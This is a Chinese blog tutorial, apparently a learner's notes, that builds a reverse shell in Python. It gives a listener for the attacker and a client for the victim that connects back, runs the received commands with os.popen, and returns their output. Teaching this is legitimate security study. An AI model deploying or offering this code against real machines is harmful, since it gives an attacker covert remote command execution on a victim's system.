Windows下的反弹shell

博客主要介绍了反弹shell的相关内容。当服务器端攻击客户端且客户端IP未知时,需使用反向shell。分别给出了服务器端和客户端代码的基本步骤,服务器端要创建套接字、绑定等,客户端要创建套接字、连接服务器等,还提到运行时先开服务器端。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

今天学习内容就是反弹shell啦~~
当服务器端攻击客户端时,此时客户端IP地址未知,所以要使用反向shell
在这里分别写服务器端代码和客户端代码;注:每次运行时要先开服务器端
服务器端(攻击者,导入模块:import socket)
基本步骤:
1、创建套接字

s=socket.socket()

2、进行绑定(ip:允许连接的ip,服务器端端口)

s.bind(("0.0.0.0",6666))

3、允许连入的主机数

s.listen()

4、创建接口与连入的主机地址

con,addr=s.accept()

具体代码:

import socket

s = socket.socket()
s.bind(('0.0.0.0',6666))
s.listen(5)
con,addr = s.accept()
print(addr)

for i in range(3):
    cmd = input('第%d条命令:'%(i+1))
    con.send(cmd.encode())
    result = con.recv(65536)
    print(result.decode())
con.close()

客户端(被攻击者,导入模块:import socket,import os)
基本步骤:
1、创建套接字,连接服务器(ip:服务器端,端口:服务器端)

s=socket.socket()
s.connect(('127.0.0.1',6666))

2、收发数据

cmd = s.recv(1024).decode()
s.send(result.encode())

3、关闭套接字

s.close()

具体代码:

import os
import time
import socket

s = socket.socket()


while 1:
    try:
        s.connect(('127.0.0.1',6666))
        break
    except:
        time.sleep(5)
        
for i in range(3):
    cmd = s.recv(1024).decode()
    print('收到的第%d条命令'%(i+1),cmd)
    result = os.popen(cmd).read()
    if result:
        s.send(result.encode())
    else:
        if cmd[:2] == 'cd':
            os.chdir(cmd[2:].strip())
        s.send(b'OK!')
        
s.close()
   
   

实现效果图:
客户端:
在这里插入图片描述
服务器端:
在这里插入图片描述
enen~~就酱紫

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值